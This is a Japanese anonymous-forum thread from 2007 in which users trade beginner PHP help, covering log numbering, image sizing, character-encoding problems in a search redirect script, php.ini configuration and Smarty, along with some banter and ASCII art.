普通にログのナンバーに+1していく方が楽なのはわかるのですが
それだと永遠に番号増えていくのが嫌なのです。
何か他にいい方法ありませんかね。

>>100
あ、すいません今から晩飯作るので
その後その方法でためさせてもらいますね。
ありがとうございます。

104 :nobodyさん:2007/10/23(火) 17:53:35 ID:???
>>102
IISってProfessionalしか使えないの知ってるか?
ASPやるわけじゃないのに、そんな特殊な環境すすめるなよ。

105 :nobodyさん:2007/10/23(火) 17:55:39 ID:???
$iの初期値を1にして、それをくっつければいいじゃん

106 :nobodyさん:2007/10/23(火) 17:58:24 ID:???
Home Edition 使っているような軟派野郎はいらない

107 :nobodyさん:2007/10/23(火) 18:11:19 ID:???
CGI版ならIISでもいけるんだっけ
とくに薦める理由もなさそうだな

108 :nobodyさん:2007/10/23(火) 18:16:31 ID:???
サーバ側をやるのにWindowsな人がいるのか・・・

109 :nobodyさん:2007/10/23(火) 18:19:37 ID:???
Windows縛りで学習するのはブルジョアってことで宗教的に結論出てる。

110 :nobodyさん:2007/10/23(火) 18:24:00 ID:???
近い将来で仕事で使うために勉強するなら、
Linux + Apache + PHP + Oracle(XE)
この組み合わせがいいと思うが
全部無料だし

111 :nobodyさん:2007/10/23(火) 18:31:07 ID:???
さすがに>>102は釣りじゃないのか?

112 :nobodyさん:2007/10/23(火) 18:37:57 ID:???
>>95
そもそもいきなり出てくる
$logさんは何者なんだ
ログ内容という事しかわかんない・・・

113 :90:2007/10/23(火) 19:06:13 ID:yqsanTFX
>>91-93さんありがとうございました。


114 :nobodyさん:2007/10/23(火) 19:36:02 ID:???
Linux、PHP-4.0.6、phplot-5.0rc2を使用してグラフ作成の勉強をしております。
普通にグラフを作成する事は出来るようになったのですが、一つだけどうしても
分からないので、もし分かる方がいらっしゃったら教えて頂けないでしょうか。

やりたい事→Y軸の数字を下から上に向かって小さくしたい

X軸と交わるところを200として、上に行くにつれて1になっていくように番号を
振りたいと考えております。

よろしくお願いします

115 :nobodyさん:2007/10/23(火) 19:37:54 ID:???
それ何のグラフだよ

116 :nobodyさん:2007/10/23(火) 20:06:39 ID:???
ソースいじればどうとでもなりそうだが
俺も何のグラフか気になる。普通グラフってデカルト平面上にプロットされるもんじゃないの

117 :nobodyさん:2007/10/23(火) 21:27:47 ID:???
>>114
y値*(-1)をプロットすれば?


118 :nobodyさん:2007/10/23(火) 21:33:12 ID:???
正直、個人の楽しみでPG触ってる俺にとって現場とか想像がつかん
自分の周りにPGいないから2chぐらいしか話せる人がいないのが現状w

現場のソースとかクラス設計がどうなってるのか気になる。


119 :nobodyさん:2007/10/23(火) 21:36:06 ID:???
現場によってピンからキリまで

120 :nobodyさん:2007/10/23(火) 21:36:38 ID:???
>>118
恵まれた環境の現場で無い限り、参考になるソースなんてほとんどないよ。
オープンソースのフレームワークや、プロダクトのコードを見る方がよっぽど参考になる。
優れた実装という意味ではね(現場の実情という意味ならまた別w)

121 :nobodyさん:2007/10/23(火) 21:52:10 ID:???
WordPressのコード読もうと思ってるのだが
読んでる人います?

どうなのかなぁ

122 :nobodyさん:2007/10/23(火) 22:05:51 ID:???
何が?

123 :nobodyさん:2007/10/23(火) 22:10:21 ID:???
perlだとwantarrayなんて関数があるのね。面白いね。

124 :nobodyさん:2007/10/23(火) 22:13:46 ID:???
WordPress見たけど途中で読む気なくなった。

125 :nobodyさん:2007/10/23(火) 22:29:09 ID:1COZJ3HS
申し訳ないのですが、PHPとかあんまりわからないので
お分かりになる方、教えてください

PHPとHTMLで作られたページに
画像をアップしたときのことです

ソフトハウスの方から、
縦、横の画像ファイルのサイズ指定
をうけ縦がそのファイルサイズ
に満たないと
画像がたてのみが勝手に伸びたり
横がそのファイル指定サイズに満たないと
横のみが勝手に延びたりします

これを回避する方法はないでしょうか
ソフトハウスからいわれたのは
アップする画像を、
指定したサイズぴったりにして
アップしてほしいとの事です。

そうではなくて、どんな大きさの
画像をアップしても
勝手に縦に伸びたりせず
綺麗に収まるような設定はないでしょうかね?
これはHTMLのほうの問題なんでしょうか?

長くなりましたがよろしくお願いします



126 :nobodyさん:2007/10/23(火) 22:36:55 ID:???
>>125
imgタグのwidth属性とheight属性を指定しない

127 :nobodyさん:2007/10/23(火) 22:40:09 ID:???
>>125
縦か横のサイズを指定するだけなら比率はそのまま縮小拡大表示するでしょ。
縦横両方指定するからそんな状態になる。
表示させたい画像のサイズを調べて縦か横、どちらか絞りたい方のサイズを
HTML上で指定するようにすればいいよ。

縦横どちらも指定サイズ(比率固定)にしなければいけないんだとしたら
GDとかImagemagickとか使って、画像の変換かけないと無理。
ttp://www.php.net/manual/ja/ref.image.php

ttp://www.php.net/manual/ja/ref.imagick.php
参照。

128 :nobodyさん:2007/10/23(火) 22:44:38 ID:???
ジェニファー「あれは、PHPとHTMLで作られたページに画像をアップしたときのことだったわ」


129 :nobodyさん:2007/10/23(火) 22:44:52 ID:???
つーか125さんは開発じゃなくて納品してもらったユーザさんじゃないのか?

130 :nobodyさん:2007/10/23(火) 22:49:27 ID:???
>>125
ソフ屋に画像のサイズの比率計算して
width属性の値とheight属性の値を
自動で設定するように変えてもらうといい



131 :nobodyさん:2007/10/23(火) 23:38:00 ID:1COZJ3HS
129さんそうです。納品してもらったユーザーさんです

130さんの意味がわからない・・。

レベルは初心者に近いです。
すこしはHTMLのことはわかります

127さんの
縦か横のサイズを指定するだけなら比率はそのまま縮小拡大表示するでしょ。
縦横両方指定するからそんな状態になる。
表示させたい画像のサイズを調べて縦か横、どちらか絞りたい方のサイズを
HTML上で指定するようにすればいいよ。

はわかります。

132 :nobodyさん:2007/10/23(火) 23:56:36 ID:1COZJ3HS
なんどもすいません
きっとですね、ソフトハウスの指定した
サイズはデザイン上
そのサイズにしないといけないのと思います。

133 :nobodyさん:2007/10/23(火) 23:58:44 ID:???
このスレって初心者以前の人が1日に1回は来ているような気がするんだが・・・
テスターも使ったことがない人が「テレビが故障したけどどこを直したらいいでしょうか」なんて
質問は多分しないのに、なんでこういうソフトになると「よく知らないんだけど・・・」って当然のように
前置きしてきいてくるんだろうな?

134 :nobodyさん:2007/10/24(水) 00:04:15 ID:???
>>132
さっきから皆が言ってくれているように、画像のサイズを計算した上でHTMLを
出力するようにスクリプトのソースを書き換えれば、「そのサイズにしないといけない」
という状態から解放されます。

135 :95:2007/10/24(水) 00:13:28 ID:???
>>95,>>103の内容で質問させていただいたものなのですが
>>100さんの内容で試させて頂いた結果こちらの記述ミスあった可能性大なのですが
ちょっと無限ループっぽい挙動になってしまいました・・・・・・・・・

1から勉強しなおそうと思うのですが
180行まで保存するログに投稿があっても
毎回180までの番号を振りたい場合
どういうロジックのプログラムを書けばいいのでしょうか?
そのプログラムに主要な構文だけ軽く説明を交えて
教えて頂けないでしょうか?
書き込みの際に番号を振ることと
コメント投稿の際に全ての番号を一旦消去する挙動が特に困難です。
下記は今書いてて失敗したコメントをログに書き込む部分の
プログラムになります。
お手間取らせて本当にすいません。
http://www.pachiweb.com/updir/html/ppp.html

136 :nobodyさん:2007/10/24(水) 00:19:18 ID:???
>>133
テレビは半田ゴテ使ったりしないといけないけど
ソフトはワープロ使えたら教えてもらったのをコピペすれば済む、と考えてるんじゃないかな?
125氏の場合はHTMLを少し改造するだけで済むなら自分でも出来ると考えてるのでは。

>>125
画像は縦か横か一方への固定?
開発側がデザイン的にそのサイズにさせたいなら画像のマージンで開発側が意図するサイズ
を空白として確保するって手はあると思う。

というかソフトハウスのデザインオナニーに付き合う必要ないでしょ。
客が使えないシステムを強要するな、と言って叩き返しましょう。
自由に画像アップできて且つデザイン的にも上等なものを作ってこい、と。

137 :nobodyさん:2007/10/24(水) 00:23:07 ID:???
>>135
ソースは画像じゃなくて分割でもいいから文字としてここに貼った方がいい。
さもなければうpローダにテキストとしてUP。
検証するのに手打ちするのはバカらしいよ。

138 :135:2007/10/24(水) 00:46:09 ID:???
>>137
失礼しました、下記がtxtになります。
http://sund1.sakura.ne.jp/uploader/source/up13838.txt

139 :nobodyさん:2007/10/24(水) 01:13:48 ID:???
>>135
一つ疑問。
これ、番号はユーザの書き込みごとにずれていくって事だよね。
Aが書き込むとAが1になるが、次にBが書き込むとBが1になり、さっきのAの投稿は2にズレる。

ここでAが投稿後画面更新せずに投稿を削除しようとしたらどうなる?
Aは表示したままだから自分の番号1とDelKeyで削除しようとするけど、すでに番号1はBの投稿になってるから削除できなくないか?
しかも偶然AとBのDelKeyが一緒だったら削除される可能性もある。

通し番号の方がよくない?

140 :139:2007/10/24(水) 01:41:55 ID:???
通し番号が嫌ならユーザには見せないようにして記事の頭にそれぞれチェックボックスを置き、
チェックしたのを削除しようとすると通し番号がPHP側に送られて削除するとか。

今の方法だと一旦全ログを変数に移し、番号++しながら書き込み、にしないと処理が複雑になると思う。
全ログ取得はメモリ容量とも関わってくるし。

141 :nobodyさん:2007/10/24(水) 01:54:25 ID:???
>>133
> このスレって初心者以前の人が1日に1回は来ているような気がするんだが・・・
> テスターも使ったことがない人が「テレビが故障したけどどこを直したらいいでしょうか」なんて
意味不明。テスターとテレビとどう関係あるんだよ。


142 :nobodyさん:2007/10/24(水) 01:55:16 ID:???
> テスターとテレビとどう関係あるんだよ
ポカーン

143 :nobodyさん:2007/10/24(水) 02:07:43 ID:???
>>139
ログが180満杯の場合はそういう挙動になります。
ぬぬぬ、やはり通し番号じゃないと問題でますか・・・・・・・・・・・・・・・・・・
言われてみるとほんと指摘どおりの問題発生しますよね・・・・・・・・・・・・
おとなしく改造前どおり通し番号制に戻したいと思います、
アドバイスありがとうございました、
アドバイスのおかげですっきりしました。

144 :127:2007/10/24(水) 02:16:13 ID:???
>>131
ああ、そういう話なのか…
であれば結論は
「それはそのプログラムの仕様です。ソフトハウスの言うように、定められたサイズの
画像をあらかじめ用意してそれをアップロードするようにしてください」
としか。
設定というかプログラム上で回避する方法はいくらでもあるけど、
そういった融通に対応しないヘボソフトハウスに発注したあなたの会社が悪いです。
もしくは別料金払って機能改修の依頼をするとか。
そのプログラムを使ってる限りはユーザ側では対処のしようがないんじゃないかな?

145 :nobodyさん:2007/10/24(水) 02:17:01 ID:???
>>143
ついでに>>138のソース、処理が複雑すぎ。
ファイル書き込みにhtmlspecialcharsは不要。むしろタブ文字を削除しないと書式が狂う。
(仮に削除を考えずに)番号を1〜180にするにしてももっとシンプルに書けるはず。
(通し番号にすればさらにシンプルになる)
複雑なソースはバグの原因になりますよ。

146 :nobodyさん:2007/10/24(水) 02:19:50 ID:???
ヘボ会社が作った糞スパゲティソースを作り直す案件って多いよw

147 :nobodyさん:2007/10/24(水) 02:47:07 ID:???
php5でアップキャストってできる?



148 :135:2007/10/24(水) 02:51:19 ID:???
>>145
なるほど
$comment = str_replace("\t", "", $comment);
を入れると書式おかしくなるので
タブ自体無効にした方がよいのですね。
解説サイトの丸写しの部分が多く
私自身まだまだ意味を理解してないままの
行程が多いのでアドバイスほんとにありがたいです。

149 :nobodyさん:2007/10/24(水) 03:09:23 ID:???
>>147
ある意味やりたい放題

150 :147:2007/10/24(水) 04:05:31 ID:???
親クラスのメソッドを子クラスで上書きしたとします。
子オブジェクトを親クラスにアップキャストすることで、
親のメソッドを明示的に呼びたい。
$obj = (親クラス名)子オブジェクト名; とか
$obj = 子オブジェクト名 as 親クラス名;
のようなことができれば、実現できると思うんだけど。



151 :nobodyさん:2007/10/24(水) 04:48:26 ID:???
構文はないけどget_parent_classでごにょごにょとやれば可能かと

152 :nobodyさん:2007/10/24(水) 06:40:32 ID:???
>>120
最近のプログラム書いてる人はコードなんてほとんど読まないですよ
とくにPHPやパールなんてとにかく動けばいいという発想が強いですね
昔は1万行ぐらい何ヶ月もかけて読みましたよ
やはり根気が大切ですね

153 :nobodyさん:2007/10/24(水) 06:42:43 ID:???
敷居が下がって馬鹿(俺みたいな)の絶対数が増えたんだとオモ。

154 :nobodyさん:2007/10/24(水) 09:13:54 ID:???
>>141
ゆとり教育の成果がここに!!!

155 :nobodyさん:2007/10/24(水) 09:23:25 ID:???
>>153
括弧の部分は知らんけど、それ以外は激しく同意

156 :nobodyさん:2007/10/24(水) 09:40:07 ID:???
>>148
ユーザが入力したタブはスペース二つくらいと置換すればいいでしょう。
もしくはユーザが絶対推測不可能な文字列と置換してhtml出力時に再度タブに変換する、とか

$TAB = "##%$FDEbsgWRn%vfG%bfa%##";
$comment = str_replace("\t", $TAB, $_POST['comment']); // 入力時
$html = htmlspecialchars(str_replace($TAB, "\t", $comment)); // HTML出力時

方針にもよるでしょうが、ユーザにタブ「入力不可」と規制するよりこちらで上手く処理した方がユーザフレンドリだと思います。
(htmlタグ禁止などは別にして)

157 :nobodyさん:2007/10/24(水) 09:41:54 ID:T7DDINjY
サンプルで外部有名検索エンジンに自分のサイトから利用できる。
と言うのを見つけて、ダウンロードして使って見たら、ちゃんと文字化けもせず検索できたのに、
それを自分のファイルにコピーして使うと、検索文字が文字化けを起こしてしまいます。
どういったミスが考えられますか?
説明下手ですいません

158 :nobodyさん:2007/10/24(水) 09:43:03 ID:???
それならいっそ、セパレータとして使う文字列をタブ以外に変えたほうが良いかもね。
<>とかが定石じゃない?

159 :nobodyさん:2007/10/24(水) 09:45:35 ID:???
>>157
サンプルスクリプトと自分のスクリプトのエンコードが違うんじゃね。

160 :156:2007/10/24(水) 09:56:48 ID:???
>>158
なるほど。<>なら入力時にhtmlspecialchars使えば重なりませんね。
タブの空白2つへ置換はずっと前にPerlの入門書で見たのでそれがていせき(←何故か変換できない)と思ってました。 
質問うp主じゃないですが勉強になりました

161 :157:2007/10/24(水) 09:56:50 ID:T7DDINjY
>>159
はい、そうかもしれないのですが、サンプルの方はヘッダ情報にはタイトルしかなくて
文字コードがわからないのです。
自分のはSJISだと思います。。
mb_convert_encoding($hoge, "UTF-8", "SJIS");もわからないながら試してダメでした。

162 :nobodyさん:2007/10/24(水) 10:04:19 ID:???
>>161
サンプルをコピペじゃなくファイルとして落としたなら文字コードのわかるエディタで開けばどう?
ブラウザで見てもいけると思うが。

もしくはサンプルを
mb_convert_encoding($sample,"SJIS-win","auto");

163 :nobodyさん:2007/10/24(水) 10:15:35 ID:???
質問するなら自分とこの環境書けよ
それと話進めるにはそのサンプルとやらを晒したほうが早くないか?

164 :157:2007/10/24(水) 10:50:37 ID:T7DDINjY
>>162アドバイスどうりやってみましたが、ダメでした。私の書き方がまずいんだと思います
>>163すいません。xrea使ってます。サンプルは丸写しですがこれです
<html>
<head>
<title>検索エンジンの活用</title>
</head>
<body>
<h1>検索エンジン選択</h1>
<form method="POST" action="rdir.php">
<table border="0">
<tr>
<th>検索キーワード:</th>
<td><input type="text" name="keywd" size="20" /></td>
</tr><tr>
<th>使用エンジン:</th>
<td>
<select name="eng">
<option value="yahoo">Yahoo!</option>
<option value="google">Google</option>
<option value="infoseek">Infoseek</option>
<option value="goo">goo</option>
</select>
</td>
</tr><tr>
<td colspan="2"><input type="submit" value="検索" /></td>
</tr>
</table>
</form>
</body>
</html>


165 :157:2007/10/24(水) 10:51:32 ID:T7DDINjY
貼り漏れました
<?php
$strKey=urlencode($_POST['keywd']);
switch($_POST['eng']){
case "yahoo":
$url="http://search.yahoo.co.jp/bin/search?p=";
break;
case "google":
$url="http://www.google.com/search?hl=ja&ie=euc-jp&q=";
break;
case "infoseek":
$url="http://www.infoseek.co.jp/Titles?qt=";
break;
case "goo":
$url="http://www.goo.ne.jp/default.asp?MT=";
break;
}
header("Location: ".$url.$strKey);
?>


166 :nobodyさん:2007/10/24(水) 12:14:16 ID:???
PHPで掲示板を作ってみたいと思っているのですがまず何から勉強をしたらいいのでしょうか?


167 :nobodyさん:2007/10/24(水) 12:27:55 ID:???
>>157
文字化けはgoogleのみ?
googleのみなら
case "google":
$url="http://www.google.com/search?hl=ja&ie=euc-jp&q=";
の$urlでEUC-JPに指定してるのが問題
「&ie=euc-jp」を外すか文字コードを別にする

外した場合
$url="http://www.google.com/search?hl=ja&q=";

UTF-8に変更した場合
$url="http://www.google.com/search?hl=ja&ie=utf-8&q=";

それとそのソースだとgooが検索できなかった。書式が変わってるかも

168 :nobodyさん:2007/10/24(水) 12:32:49 ID:???
>>166
文法から

169 :nobodyさん:2007/10/24(水) 12:33:51 ID:???
>>166
掲示板なら
http://www.phppro.jp/school/phpschool/
ここに作り方がのってありますぜ!

もし分からなかったらここの住人が教えてくれますぜ!

170 :nobodyさん:2007/10/24(水) 12:37:01 ID:???
PHPプロ(笑)

171 :nobodyさん:2007/10/24(水) 13:22:33 ID:???
ここさ、人に対して誹謗中傷するのを多いけど、
それによってそうとうストレス感じるよ。

人の死期を早める行為が殺人だとすれば、
ここのレスによって精神的苦痛を受けて寿命を縮めるわけだから、殺人と一緒だよ。

172 :nobodyさん:2007/10/24(水) 13:29:41 ID:???
誹謗中傷でストレス感じちゃうような人は、2ちゃんねるじゃなくて
別のコミュニティを利用したほうがいいんじゃない?

たぶん向いてないよ。

173 :nobodyさん:2007/10/24(水) 13:45:25 ID:???
>>171
ゆとりは
KA☆E☆RE☆!

174 :nobodyさん:2007/10/24(水) 13:52:11 ID:???
>>171
教えてもらうって人の態度じゃねーぞw
という奴が叩かれてるだけじゃね?

ここさ、赤の他人に対して質問する人を多いけど、
それによってそうとうボランティアの強制だと感じるよ。

他人が答えてくれる行為を感謝していれば、
ここのレスによって馬鹿にされる事はないわけだから、質問の仕方が悪いと言われてるのと一緒だよ。

175 :nobodyさん:2007/10/24(水) 13:59:41 ID:???
>>169
ありがとうございます

あとPHPはなんて読むんでしょうか?
普通にピーエイチピーでいいんですかね?

176 :nobodyさん:2007/10/24(水) 14:00:27 ID:VOPF7shq
PHPの暗号化⇔複合化の関数などありませんか?
cryptという関数を見つけたのですが、単方向アルゴリズムなので複合化ができません。

177 :nobodyさん:2007/10/24(水) 14:21:03 ID:???
>>176
mcrypt

178 :nobodyさん:2007/10/24(水) 14:49:26 ID:???
>>175
http://e-words.jp/w/PHP.html

>PHP 
>
>読み方 : ピーエイチピー
>フルスペル : PHP : Hypertext Preprocessor

少しは調べる努力をしましょう。いつまでたっても自分じゃ何もできないですよ。

179 :nobodyさん:2007/10/24(水) 15:07:11 ID:???
通は独逸語読みペーハーペーからペハペと読む

180 :nobodyさん:2007/10/24(水) 15:52:32 ID:u6eI2uUX
PHP Acceleratorをいれようとphp.iniの設定を変えたのですが反映されません。
apacheの再起動もしています。
ご教示お願いします。

以下のようにPHPをコンパイルしました。
./configure \
--with-apxs2=/usr/local/apache2/bin/apx \
--enable-mbstring \
--with-gd \
--with-zlib \
--with-mysql=/usr/local/mysql
cp php.ini-dist /usr/local/lib/php.ini

phpinfoでのLoaded Configuration Fileの場所/usr/local/lib/php.ini

php -vの結果
Failed loading /usr/local/lib/php_accelerator_1.3.3r1.so: ld.so.1: php: fatal: /usr/local/lib/php_accelerator_1.3.3r1.so: wrong ELF class: ELFCLASS32
PHP 5.2.4 (cli)
Copyright (c) 1997-2007 The PHP Group
Zend Engine v2.2.0, Copyright (c) 1998-2007 Zend Technologies

◆予想
php.iniはCLIではよみこまれているものの、apacheには読み込まれていない?
PHP Acceleratorの設定は間違っている?

◆環境
OS:solaris
PHP5.2.4
PHP Accelerator 1.3.3r1

181 :nobodyさん:2007/10/24(水) 15:54:46 ID:???
PPPHは?

182 :179:2007/10/24(水) 16:39:53 ID:u6eI2uUX
PHPAはPHP5には対応してないんですね…
こちらは解決です。

ただphp.iniの内容が反映されないのは無関係だと思うので引き続きお願い致します

183 :nobodyさん:2007/10/24(水) 17:06:01 ID:???
殺伐とはしてるけど誹謗中傷とはちょっと違うよね
説明不十分な質問に対し回答する必要なしってスタンスなんだと思う
UNIX系コミュニティによく見られるふいんき(←なぜか変換出来ない)だね

184 :nobodyさん:2007/10/24(水) 17:50:23 ID:???
Zendのおっさんはピーチピィと発音してたな

185 :nobodyさん:2007/10/24(水) 17:51:11 ID:???
ピチピチ

186 :nobodyさん:2007/10/24(水) 17:52:18 ID:???
ピーチパイ

187 :nobodyさん:2007/10/24(水) 17:54:32 ID:???
ピーチ姫って普通に抜けるよね

188 :nobodyさん:2007/10/24(水) 18:13:13 ID:???
 キモイにょ!
              /'´\
       /´ ̄``>-ァ' /:::::: ヽ
        l   /  / /::::::::::: ヽ _
        _|  /   i 〈::/ ̄``ヾ<``
      / l. '      /      ヽ.\ +
     l、  ヽ      レ,    ヾ、  !|ヽ|
     lヽ  |        \     |l ,イリ ′
      \_,ゝ.___.. -`ァ‐i)"ヽ ==- _     ,. '⌒⌒ヽ
.        _レvv ,、,、_,-一Z'L. イ       ̄ ==- ___∧∩'⌒ヽ
     ┌-く >'  」ニ┐ ,、_〉、〉「         ,.-、′ `Д´)/ >>187
     | , 、ヽ_/   | 〈.   〉ヽ        ( (  ⌒   /  ) ヽ
i⌒i.  /   Y_jニ、 ヽ.レ┘_f_.ノ        ゝ_  ゝ '  '   _ ノ
|  l. く ,  イ ヽヽ_ヽ、Lニ-'<._            ̄"""""゙ ̄
ヽ `ー√ / |  、  下丁`ヽ. \ノ、_
 `ーtヘヘ._」_,.-セ_ノ | !    ,.ゝ/ソ
    `tゝニヽ、_,、_,.-‐、_'ニ-1ァ′
      フヾエァ‐i-t‐'T_Zニ-l‐^「
    /`ー/ ` ̄  ̄´    !一'^!-、_
   /⌒  l、        /    〉 ´ )
.  /   ヽ〈          {.__, -‐'
  {.___ ノ       三三三
  三三三    三三三三三
 三三三三三三三三三
三三三三三三三
三三三三三
三三三


189 :nobodyさん:2007/10/24(水) 18:34:15 ID:VOPF7shq
PHP6.0詳細発表
http://wwwww.2ch.net/test/read.cgi/news4vip/1193218339/l50

190 :nobodyさん:2007/10/24(水) 19:20:45 ID:???
>>wwwww

191 :nobodyさん:2007/10/24(水) 19:59:18 ID:???
>>189
http://itpro.nikkeibp.co.jp/article/COLUMN/20050917/221333/?P=2&ST=oss

192 :nobodyさん:2007/10/24(水) 20:07:54 ID:???
2年前の記事じゃん

193 :nobodyさん:2007/10/24(水) 23:04:13 ID:???
HTTPメソッド(GETかPOSTか)を調べるのって、PHPではどうするんでしたっけ?

194 :nobodyさん:2007/10/24(水) 23:07:28 ID:???
思い出した。$_SERVER['REQUEST_METHOD']だった。

195 :nobodyさん:2007/10/24(水) 23:29:13 ID:???
>>192
http://php6dev.blogspot.com/

196 :nobodyさん:2007/10/25(木) 09:15:53 ID:???
ここまでくると痛すぎるなww
さすがに退いたわ

ttp://d.hatena.ne.jp/elf/20071025/1193244391

197 :nobodyさん:2007/10/25(木) 09:29:28 ID:???
>>196
何の話をしてるの?
とりあえず宣伝乙

198 :nobodyさん:2007/10/25(木) 09:29:55 ID:???
話題を呼ぶ為にやってるんだと思っておこう。
真性だったら・・なんて、まさかね。(笑)

199 :nobodyさん:2007/10/25(木) 09:49:36 ID:???
>>196
FireFTP紹介文に対してのいちゃもん?
よくそんなくだらないの見つけてくるな >>196

200 :nobodyさん:2007/10/25(木) 13:08:07 ID:MQ6GtYsP
今まで気づかなかったんですけど
PHPってクラス名と関数名は大文字小文字の区別がないんですね・・・

これって気持ち悪くないですか?
区別するように設定できないもんですかね?

201 :nobodyさん:2007/10/25(木) 13:37:37 ID:???
>>200
同じ名前つけようとすんなよ

202 :180:2007/10/25(木) 13:39:04 ID:???
ここはレベルが低すぎて分からないようなので他所で聞きます。
どうもです

203 :nobodyさん:2007/10/25(木) 13:40:41 ID:???
>>202
さようなら。

204 :nobodyさん:2007/10/25(木) 15:29:30 ID:???
ここの方なら知っておられそうなので
くだすれPHP(超初心者用)2 が完走したままですが…新スレ立ててもいいですか
って言ってる俺は、くだすれレベル

205 :nobodyさん:2007/10/25(木) 15:31:59 ID:q/x5LG70
http://www.dokidokidonki.com/category01/watch.php?s=2

↑のページで使われているようなphp(商品検索、ランキング、カテゴリー別に商品を分ける)
を自分で作ろうと思うんですが、HPは作ったことはありますが、PHPはまったくの無知で、
プログラミングについて学ぼうと思っています。今は学生で、webデザイナー目指してます。
経済系の4年生大学に通ってますが、卒業後2年制の専門学校に行こうと思っています。
専門学校の費用稼ぎ+webプログラミングの勉強(ショッピングカートシステムの完全理解)
のために、
↑のサイトのプログラムを完全理解して、+αのものを作りたいと思っています。
このような簡易商品リンク(?)システムを作るには、どうすればいいんでしょうか??


ローカル鯖で実験するために、XAMPP入れました。

わかっていること、
ユーザー側、
カテゴリー別、メーカー別で商品を見つけることができる。
→商品登録時に商品データにカテゴリー名、メーカー名をデータ内に保持させる。

ランキング
→商品購入情報はアフェリエイトサイドから伝わるはずなので、
ランキングデータは、後からアップロードしている。

管理面
CSVデータを読み込んで、自動的にページを作る。

ディレクトリー型のサーチエンジン型リンク集をいじって↑
のような機能を付けることで、てっとり早く作れるかな・・・と思っているんですが、

普段phpを仕事でプログラミングされている方の考察、お願いします。

206 :nobodyさん:2007/10/25(木) 15:34:37 ID:???
>>205
基礎からしろとしか言わざるを得ない・・・。
とりあえず構成考えてみろ

207 :nobodyさん:2007/10/25(木) 15:48:22 ID:???
>>204
苦しゅうない
立てろ

>>205
一夜漬けじゃ無理
ましてや学費を稼ごうなんて、どんだけチャレンジャーなんだよw
配布されてるカートプログラムやCMSを理解できるようになってから、
パクれ、いや、参考にしろw

208 :nobodyさん:2007/10/25(木) 15:59:44 ID:BRjCuUNY
DBの構造から勉強してこい

209 :204:2007/10/25(木) 16:06:35 ID:???
>>207 ありです。たててきますた。逝って来ます

210 :nobodyさん:2007/10/25(木) 16:07:00 ID:???
経済学部生でwebデザイナーって・・・
色んな意味でもったいない。
就活失敗しんだろうが自暴自棄にならないで今からでもガンガレ。
webデザイナーなんて美大の落ちこぼれがほとんど。
それでもなりたいっていうなら止めないが。

業務では、デザイン、HTMLコーダー、プログラマーと分かれるので、
デザイナーにショッピングカートシステムの完全理解なんて必要ない。
会社によってはデザイナーがある程度やる場合もあるけど、
それでもHTMLが必要なぐらいで、PHPまで及ばないと思う。
デザイナーのステップアップにPHPとよく聞くが、
実際PHPをデザイナーが使ったとしても、フレームワークのview部分ぐらいしかいじらないので、
勉強するならフレームワークの使いかたでも勉強したほうがいいと思う。

あと>>205のようなことを全く触ったことがない人が独学でやると、
なんだかんだで1年とかかかるんじゃないかね。

211 :nobodyさん:2007/10/25(木) 16:09:17 ID:???
(´・ω・`)  ←この顔文字やめろ

212 :nobodyさん:2007/10/25(木) 16:18:34 ID:???
(´・ω・`)ごめんね

213 :nobodyさん:2007/10/25(木) 16:33:53 ID:???
>>202
PHPAのマニュアルにすら目を通さないの?


214 :nobodyさん:2007/10/25(木) 16:38:08 ID:???
>>205
特に難しい仕様もなく、基本的な機能ばかりだから頑張れば出来る
つーか、それぐらい作れないと趣味も仕事も無理w

webデザイナー目指しているなら、Smartyの勉強はしっかりするといい
PHPの基礎知識を持っているwebデザイナーは重宝がられるぜ

215 :nobodyさん:2007/10/25(木) 17:03:59 ID:???
てst





216 :nobodyさん:2007/10/25(木) 17:04:16 ID:fQCfo6kn
pregの検索オプションかなんかだと思うのですが、
preg_match("/hoge/sm", $match);
このデリミタ(この場合はスラッシュ)の後につくsmという文字(他にもi等色々あるようですが)
この意味を知りたいのですがマニュアルのどの項目を見ればよいかわかりません。
どなたかマニュアルのどの部分に書いてあるかわかる方教えていただけませんか?

217 :nobodyさん:2007/10/25(木) 17:07:02 ID:???
>>216
preg_match関数のページ

218 :nobodyさん:2007/10/25(木) 17:15:08 ID:???
特定の文字列から数字だけ取り出す方法を教えて下さい。

$x = "a1b2c3d4e5f6";
(何らかの処理)
print "$x";
[123456]

といった感じでお願いします。

219 :nobodyさん:2007/10/25(木) 17:20:06 ID:???
>>218
文字を1文字ずつループさせて数値なら取り出せばいいと思う

220 :216:2007/10/25(木) 17:21:15 ID:fQCfo6kn
>>217
例にiの意味は書いてあったのですが、(大小文字区別しない)
その他のものに関しては言及してないように見えます。

221 :nobodyさん:2007/10/25(木) 17:21:16 ID:1HmW1RjG
すみません。他スレで聞いたんですが、答えがないので、よろしくお願いします。

PHP5の本の付属CDでSmartyをインストールしました。PHP4の本に載ってる
Smartyはやはり動きませんか?

222 :nobodyさん:2007/10/25(木) 17:23:48 ID:???
先頭から読んでって数字だけ詰めれば良いんじゃないのん

223 :nobodyさん:2007/10/25(木) 17:26:00 ID:???
>>221
最新バージョン入れれ

224 :221:2007/10/25(木) 17:28:33 ID:1HmW1RjG
>>223 どうもありがとうございます。PHP4の本にのってるアプリケーションが
作ってみたいなあとおもっているんですが、最新バージョンのSmartyなら動きますかね?

とりあえず、動かないようならPHP4の本をみて再度Smartyを入れなおそうとおもってるんですが。

225 :nobodyさん:2007/10/25(木) 17:30:27 ID:???
>>218

$x = "a1b2c3d4e5f6";
print getSuujiOnly($x);

これでいいんじゃね?

226 :nobodyさん:2007/10/25(木) 17:30:56 ID:???
Smarty使うと言ってもどうせassignとテンプレートとforeachくらいしか使わないんだろ?
PHPもSmartyも最新バージョン入れて本とSmartyのドキュメントを参考にしながら作れって

227 :221:2007/10/25(木) 17:35:05 ID:1HmW1RjG
>>226 すみません。Smarty自体もぜんぜん触った事がなくて
Smartyの章だけはPHP4の方がおもしろそうなアプリケーションが
載ってるんでそっちを作ってみたかったんです。

ドキュメントとかよくわかりませんが、みながらやってみます。ありがとうございました。

228 :nobodyさん:2007/10/25(木) 17:40:04 ID:???
>>226
ifも使うさー

229 :nobodyさん:2007/10/25(木) 17:59:35 ID:???
>>216
そんまんまパターン就職誌って項目があるじゃん

230 :216:2007/10/25(木) 18:10:10 ID:fQCfo6kn
>>229
関数だけ見てました。項目見たら見つけることができました。
助かりました。どうもありがとうございました。

231 :nobodyさん:2007/10/25(木) 18:14:58 ID:???
自分はHTML⇒スタイルシート⇒FLASH⇒PHPの順番で勉強して1年ぐらいです。
間にGIMPをちょくちょくいじくってました。

ちなみに使った参考書は
・HTML&スタイルシート レイアウトブック
・基礎PHP
